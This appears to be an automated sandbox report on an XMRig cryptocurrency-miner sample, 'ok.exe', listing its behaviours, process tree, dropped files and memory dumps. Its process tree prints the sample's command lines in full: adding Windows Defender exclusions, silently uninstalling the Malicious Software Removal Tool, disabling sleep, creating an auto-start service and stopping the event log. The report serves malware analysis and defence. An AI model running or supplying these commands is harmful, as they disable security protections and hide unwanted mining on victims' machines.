Analysis

  • max time kernel
    119s
  • max time network
    110s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    29/04/2026, 05:59

General

  • Target
    ok.exe
  • Size 2.5MB
  • Sample260429-gp3npscw4m
  • SHA256 5279fb704d726900193d1c90c993567a4ed6140e76cf725e60a31a2e62bdc288
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 9 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Creates new service(s) 2 TTPs
  • Executes dropped EXE 1 IoCs
  • Stops running service(s) 4 TTPs
  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Power Settings 1 TTPs 8 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • UPX packed file 14 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Launches sc.exe 4 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 50 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 19 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ok.exe
    "C:\Users\Admin\AppData\Local\Temp\ok.exe"
    1⤵
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    PID:1568
    • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4020
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:824
      • C:\Windows\system32\wusa.exe
        wusa /uninstall /kb:890830 /quiet /norestart
        3⤵
          PID:3648
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:2448
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:4032
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:2868
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:532
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe delete "Ok"
        2⤵
        • Launches sc.exe
        PID:3900
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe create "Ok" binpath= "C:\ProgramData\Ok\main.exe" start= "auto"
        2⤵
        • Launches sc.exe
        PID:2608
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop eventlog
        2⤵
        • Launches sc.exe
        PID:2176
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe start "Ok"
        2⤵
        • Launches sc.exe
        PID:3312
    • C:\ProgramData\Ok\main.exe
      C:\ProgramData\Ok\main.exe
      1⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2756
      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Drops file in System32 directory
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1192
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4504
        • C:\Windows\system32\wusa.exe
          wusa /uninstall /kb:890830 /quiet /norestart
          3⤵
            PID:4840
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
          2⤵
          • Power Settings
          • Suspicious use of AdjustPrivilegeToken
          PID:1152
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
          2⤵
          • Power Settings
          • Suspicious use of AdjustPrivilegeToken
          PID:4768
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
          2⤵
          • Power Settings
          • Suspicious use of AdjustPrivilegeToken
          PID:1440
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
          2⤵
          • Power Settings
          • Suspicious use of AdjustPrivilegeToken
          PID:1532
        • C:\Windows\system32\conhost.exe
          C:\Windows\system32\conhost.exe
          2⤵
            PID:2092
          • C:\Windows\system32\svchost.exe
            svchost.exe
            2⤵
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3752

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

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              Downloads

              main.exe

              • Path C:\ProgramData\Ok\main.exe
              • Size 2.5MB
              • SHA256 5279fb704d726900193d1c90c993567a4ed6140e76cf725e60a31a2e62bdc288
              • MD5 SHA1 SHA512 SSDEEP TLSH

              __PSScriptPolicyTest_ia1ckycz.m5e.ps1

              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ia1ckycz.m5e.ps1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512 TLSH

              memory/1192-48-0x0000019692C40000-0x0000019692C4C000-memory.dmp

              memory/1192-49-0x00000196AB240000-0x00000196AB252000-memory.dmp

              memory/1192-45-0x00000196AB7C0000-0x00000196AB873000-memory.dmp

              memory/2092-53-0x0000000140000000-0x000000014000D000-memory.dmp

              memory/2092-57-0x0000000140000000-0x000000014000D000-memory.dmp

              memory/2092-50-0x0000000140000000-0x000000014000D000-memory.dmp

              memory/2092-51-0x0000000140000000-0x000000014000D000-memory.dmp

              memory/2092-52-0x0000000140000000-0x000000014000D000-memory.dmp

              memory/2092-54-0x0000000140000000-0x000000014000D000-memory.dmp

              memory/3752-68-0x0000000140000000-0x0000000140848000-memory.dmp

              memory/3752-58-0x0000000140000000-0x0000000140848000-memory.dmp

              memory/3752-75-0x0000000140000000-0x0000000140848000-memory.dmp

              memory/3752-74-0x0000000140000000-0x0000000140848000-memory.dmp

              memory/3752-71-0x00000200B79B0000-0x00000200B79C2000-memory.dmp

              memory/3752-61-0x0000000140000000-0x0000000140848000-memory.dmp

              memory/3752-59-0x0000000140000000-0x0000000140848000-memory.dmp

              memory/3752-62-0x0000000140000000-0x0000000140848000-memory.dmp

              memory/3752-63-0x0000000140000000-0x0000000140848000-memory.dmp

              memory/3752-66-0x0000000140000000-0x0000000140848000-memory.dmp

              memory/3752-64-0x0000000140000000-0x0000000140848000-memory.dmp

              memory/3752-67-0x0000000140000000-0x0000000140848000-memory.dmp

              memory/3752-69-0x0000000140000000-0x0000000140848000-memory.dmp

              memory/3752-70-0x0000000140000000-0x0000000140848000-memory.dmp

              memory/3752-65-0x00000200B7940000-0x00000200B7960000-memory.dmp

              memory/3752-60-0x0000000140000000-0x0000000140848000-memory.dmp

              memory/4020-20-0x000001A76C7C0000-0x000001A76C7CA000-memory.dmp

              memory/4020-18-0x000001A76C790000-0x000001A76C79A000-memory.dmp

              memory/4020-8-0x000001A76C730000-0x000001A76C740000-memory.dmp

              memory/4020-0-0x000001A76C730000-0x000001A76C740000-memory.dmp

              memory/4020-9-0x00007FF45AE40000-0x00007FF45AE50000-memory.dmp

              memory/4020-16-0x000001A76C7A0000-0x000001A76C7BC000-memory.dmp

              memory/4020-17-0x000001A76CC60000-0x000001A76CD13000-memory.dmp

              memory/4020-6-0x000001A76C6D0000-0x000001A76C6F2000-memory.dmp

              memory/4020-19-0x000001A76C7E0000-0x000001A76C7FC000-memory.dmp

              memory/4020-23-0x000001A76C800000-0x000001A76C806000-memory.dmp

              memory/4020-21-0x000001A76CD40000-0x000001A76CD5A000-memory.dmp

              memory/4020-22-0x000001A76C7D0000-0x000001A76C7D8000-memory.dmp

              memory/4020-29-0x000001A76C5F0000-0x000001A76C602000-memory.dmp

              memory/4020-28-0x000001A76C430000-0x000001A76C43C000-memory.dmp

              memory/4020-25-0x000001A76C730000-0x000001A76C740000-memory.dmp

              memory/4020-24-0x000001A76CD20000-0x000001A76CD2A000-memory.dmp